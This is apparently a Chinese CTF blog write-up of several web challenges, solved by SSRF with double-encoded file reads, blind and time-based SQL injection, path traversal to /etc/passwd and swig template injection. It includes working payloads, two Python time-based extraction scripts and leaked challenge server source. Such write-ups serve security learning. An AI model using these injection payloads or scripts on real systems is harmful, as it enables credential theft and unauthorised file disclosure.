虽然题目质量不错。
//但是被注入恶心到的两天
直接读flag读不到,读源码发现是curl,可以二次编码绕过
Payload:
http://47.104.232.98:49725/?url=file:///fla%25%36%37
导入au,短的是0,长的是1:
得到:
011001100
011011000
011000010
011001110
011110110
001100100
001101010
011000110
001100100
001100010
011000100
001100000
011001000
001011010
001101100
011000010
001100010
001100010
001011010
001101000
001100110
001100010
001100100
001011010
001110010
001101110
001100010
011000100
001011010
001101000
001100100
001110000
011001000
001100000
001100010
011000110
011001000
011000110
001101010
001100110
001101000
011111010
初次注入能够发现如下语句可以被执行:
username=admin'/**/and/**/(length(database())=3)#&password=1
根据回显的username error还是password来判断是否执行语句。
注出当前数据库为ctf,sql版本号为8.0.2.2,在p神小密圈看到过新特性,table statement
,测试发现后面可以跟limit,于是有:
admin'/**/and/**/(('def','%s','u',4,5,6)</**/(table/**/information_schema.schemata/**/limit/**/4,1))#
发现确实有ctf这个库,然后从:
information_schema.tables
注出表名,得到:
f11114g
发现只有一个字段,那就直接注,注出来第一个是noflag,注第二个出来就是flag:
admin'/**/and/**/1^(('%s')</**/(table/**/f11114g/**/limit/**/1,1))^0#
fuzz一下发现简单过滤了空格,拿sqlmap跑跑得知是psql,存在延时注入,直接拿sqlmap给出了的延时payload能打延时:
username=admin&password=admin'/**/AND/**/2909=(SELECT/**/2909/**/FROM/**/PG_SLEEP(5))/**/AND/**/'YhEI'='YhEI
但拿sqlmap是跑不出来东西的,于是手测注出来ctf库,users表,脚本直接注password字段得到登陆密码。
import requests
import urllib.parse
url = 'http://139.129.98.9:30005'
tables='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
result=""
for j in range(1,50):
for i in tables:
data = {
'username':'admin',
'password':"admin'/**/and/**/(select/**/ascii(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),%s,1)))/**/between/**/%s/**/and/**/%s/**/AND/**/2909=(SELECT/**/2909/**/FROM/**/PG_SLEEP(5))/**/AND/**/'a'='a"%(j,ord(i),ord(i))
}
try:
r = requests.post(url,data=data,timeout=4)
except Exception as e:
result=result+i
print(result)
登陆就有flag了。
因为第一个注入存在非预期于是有了第二个,不过可能因为我是使用预期解,所以通杀:
import requests
import urllib.parse
url = 'http://139.129.98.9:30007'
tables='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
result=""
for j in range(1,50):
for i in tables:
data = {
'username':'admin',
'password':"admin'/**/and/**/(select/**/ascii(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),%s,1)))/**/between/**/%s/**/and/**/%s/**/AND/**/2909=(SELECT/**/2909/**/FROM/**/PG_SLEEP(5))/**/AND/**/'a'='a"%(j,ord(i),ord(i))
}
try:
r = requests.post(url,data=data,timeout=4)
except Exception as e:
result=result+i
print(result)
同样登陆得flag。
查看js代码能得到一个函数,改改然后在html页面在控制台上面一打就能实现任意文件读取了:
function get_source_code() {
$.ajax({
type:'post',
url:'../view',
data:JSON.stringify({
"file" : "../../../../../../../etc/passwd",
"time" : Math.ceil(new Date().getTime() / 1000)
}),
contentType: "application/json",
success: function (data) {
var dv = document.getElementById("Ym9iYmF0ZWEh");
var spn = document.createElement("pre");
spn.innerText = data;
dv.append(spn);
}
})
}
读了源码发现过滤了proc:
module.exports = (app) => {
const crypto = require('crypto');
const fs = require('fs')
const path = require("path")
function md5(s)
{
return crypto.createHash('md5').update(s).digest('hex')
}
function rand(minNum,maxNum){
switch(arguments.length){
case 1:
return parseInt(Math.random()*minNum+1,10);
break;
case 2:
return parseInt(Math.random()*(maxNum-minNum+1)+minNum,10);
break;
default:
return 0;
break;
}
}
function replaceAll (find, replace, str) {
var find = find.replace(/[-\/\\^$*+?.()|[\]{}]/g, '\\$&');
return str.replace(new RegExp(find, 'g'), replace);
}
app.get('/html', async (req, res) => {
if (req.session.is_login !== 1) {
res.redirect("/")
return
}
let user_tpls = req.session.tpl;
let alive_tpls = []
await user_tpls.forEach((filename) => {
let filepath = path.join(__dirname, `../public/tmp/${filename}`)
if (fs.existsSync(filepath)) {
let file = filename.split('_')
let gTime = parseInt(file[2].replace('.html', ''))
let now = Math.ceil(new Date().getTime() / 1000)
if (now - gTime < 1800 ) {
alive_tpls.push(filename)
}
}
})
res.render("html_index", {
"tpls" : alive_tpls.length ? alive_tpls : ["这里空空如也,快去写代码吧"],
"name" : req.session.name
})
})
app.get('/htmlide', (req, res) => {
if (req.session.is_login !== 1) {
res.redirect("/")
return
}
let tpl_vars = req.session.current ? {'url' : '/tmp/'+req.session.current} : {}
res.render("html_ide", tpl_vars)
})
app.get('/view', (req, res) => {
if (req.session.is_login !== 1 || !req.query.file || typeof req.query.file !== 'string' || req.query.file.indexOf('..') !== -1) {
res.end(JSON.stringify({"code" : "-1", "message" : "no you cant"}))
return
}
let filepath = path.join(__dirname, '../public/tmp/' + req.query.file )
if (!fs.existsSync(filepath)) {
res.end("404 Not Found")
} else {
try {
res.render(filepath.replace(".html", ""), {"values" : process.env})
} catch (e) {
console.log(e)
res.end(JSON.stringify({"code" : "-1", "message" : "something wrong"}))
}
}
})
app.post('/view', (req, res) => {
if (req.session.is_login !== 1
|| !req.body.file
|| typeof req.body.file !== 'string'
|| req.body.file.indexOf('proc') !== -1
|| req.body.file.indexOf('environ') !== -1
|| !req.body.time
|| ( Math.abs(Math.ceil(new Date().getTime() / 1000) - req.body.time) >= 4)) {
res.end(JSON.stringify({"code" : "-1", "message" : "no you cant"}))
return
}
let filepath = path.join(__dirname, '../public/tmp/' + req.body.file )
if (!fs.existsSync(filepath)) {
res.end(JSON.stringify({"code" : "-1", "message" : "404 Not Found"}))
} else {
res.end(fs.readFileSync(filepath))
}
})
app.post('/htmlide', (req, res) => {
if (req.session.is_login !== 1 || !req.body.code || !req.body.time) {
res.end(JSON.stringify({"code" : "-1", "message" : "you are not allowed here"}))
return
}
let filename = md5(req.connection.remoteAddress + req.body.time + rand.toString() ) + '_user_' + Math.ceil(new Date().getTime() / 1000) + ".html"
let filecontent = req.body.code
filecontent = replaceAll("for", "for", filecontent)
filecontent = replaceAll("loop", "loop", filecontent)
fs.writeFile(path.join(__dirname,'../public/tmp/'+filename), filecontent, (err) => {
if (err) {
res.end(JSON.stringify({"code" : "-1", "message" : "an error occurred"}))
return
} else {
req.session.tpl.push(filename)
req.session.current = filename;
res.end(JSON.stringify({"code" : "0", "message" : "write file successfully"}))
}
})
})
}
根据题目是需要读取环境变量,于是发现使用了swig模板去渲染:
const swig = require('swig');
读文档能够知道其使用方式,htmlide页面直接注入即可:
访问对应的html文件即可getflag。
本文原创于HhhM的博客,转载请标明出处。